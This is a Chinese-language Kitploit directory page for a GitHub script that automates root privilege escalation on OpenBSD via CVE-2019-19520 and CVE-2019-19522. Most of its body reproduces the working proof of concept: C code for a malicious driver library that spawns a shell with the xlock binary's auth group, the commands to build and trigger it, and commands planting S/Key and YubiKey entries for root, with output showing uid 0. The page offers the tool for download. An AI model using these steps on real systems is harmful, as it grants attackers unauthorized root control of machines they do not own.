Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Openbsd-Privilege-Escalation — 用于自动化OpenBSD系统上权限提升过程的脚本,通过利用xlock二进制文件(CVE-2019-19520)获取其sgid权限,并通过(CVE-2019-19522)利用auth组的权限以及向Skey或Yubikey添加密钥,从而提升至root用户。 | Kitploit
工具/GitHubGitHub/retrymp3/openbsd-privilege-escalation
权限提升漏洞分析漏洞利用渗透测试身份验证
GitHubretrymp3/openbsd-privilege-escalation

Openbsd-Privilege-Escalation

用于自动化OpenBSD系统上权限提升过程的脚本,通过利用xlock二进制文件(CVE-2019-19520)获取其sgid权限,并通过(CVE-2019-19522)利用auth组的权限以及向Skey或Yubikey添加密钥,从而提升至root用户。

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
21年前尚未审核

Openbsd-Privilege-Escalation

一个脚本,通过利用 xlock 二进制文件获取其 sgid(CVE-2019-19520),自动执行 OpenBSD 系统上的权限提升过程;并通过(CVE-2019-19522)利用 auth 组的权限,向 Skey 或 Yubikey 添加密钥,从而提升至 root 用户。

C 代码几乎完全复制自原始 PoC:https://www.openwall.com/lists/oss-security/2019/12/04/5

CVE-2019-19522:通过 S/Key 和 YubiKey 进行本地权限提升

在 OpenBSD 上,/usr/X11R6/bin/xlock 默认安装,并且其 set-group-ID 为 "auth", 而非 set-user-ID;因此以下检查不完整, 应该改用 issetugid():


101 _X_HIDDEN void * 102 driOpenDriver(const char driverName) 103 { ... 113 if (geteuid() == getuid()) { 114 / don't allow setuid apps to use LIBGL_DRIVERS_PATH */ 115 libPaths = getenv("LIBGL_DRIVERS_PATH");

本地攻击者可以利用此漏洞并 dlopen() 自己的驱动程序, 从而获得 "auth" 组的权限:

$ id uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)

$ cd /tmp

$ cat > swrast_dri.c << "EOF" #include <paths.h> #include <sys/types.h> #include <unistd.h>

static void attribute ((constructor)) _init (void) { gid_t rgid, egid, sgid; if (getresgid(&rgid, &egid, &sgid) != 0) _exit(LINE); if (setresgid(sgid, sgid, sgid) != 0) _exit(LINE);

root@kitploit:~
char * const argv[] = { _PATH_KSHELL, NULL };
execve(argv[0], argv, NULL);
_exit(__LINE__);

} EOF

$ gcc -fpic -shared -s -o swrast_dri.so swrast_dri.c

$ env -i /usr/X11R6/bin/Xvfb :66 -cc 0 & [1] 2706

$ env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display :66

$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)

现在我们已经获得了 auth 组的权限,可以利用这些权限将我们自己的 root 密钥添加到 Skey 或 Yubikey 中。

CVE-2019-19522:通过 S/Key 和 YubiKey 进行本地权限提升

如果启用了 S/Key 或 YubiKey 身份验证类型(它们都默认安装但默认禁用), 则本地攻击者可以利用 "auth" 组的权限来获得 "root" 用户的全部权限 (因为 login_skey 和 login_yubikey 不会验证 /etc/skey 和 /var/db/yubikey 中的文件 是否属于正确的用户,而这两个目录都可被 "auth" 组写入)。

(注意:要获得 "auth" 组的权限,本地攻击者 可以先利用 xlock 中的 CVE-2019-19520。)

如果启用了 S/Key(通过 skeyinit -E),拥有 "auth" 权限的本地攻击者 可以为 "root" 用户添加一个 S/Key 条目(/etc/skey 中的一个文件) (如果该文件已存在,攻击者无法直接删除或重命名它,因为 /etc/skey 设置了粘滞位; 存在一个简单的解决方法,留给感兴趣的读者作为练习):

$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)

$ echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root

$ chmod 0600 /etc/skey/root

$ env -i TERM=vt220 su -l -a skey otp-md5 99 obsd91335 S/Key Password: EGG LARD GROW HOG DRAG LAIN

#id uid=0(root) gid=0(wheel) ...

如果启用了 YubiKey(通过 login.conf),拥有 "auth" 权限的本地攻击者 可以为 "root" 用户添加一个 YubiKey 条目(/var/db/yubikey 中的两个文件) (如果这些文件已存在,攻击者可以直接删除或重命名它们, 因为 /var/db/yubikey 未设置粘滞位):

$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)

$ echo 32d32ddfb7d5 > /var/db/yubikey/root.uid

$ echo 554d5eedfd75fb96cc74d52609505216 > /var/db/yubikey/root.key

$ env -i TERM=vt220 su -l -a yubikey Password: krkhgtuhdnjclrikikklulkldlutreul

#id uid=0(root) gid=0(wheel) ...

下载工具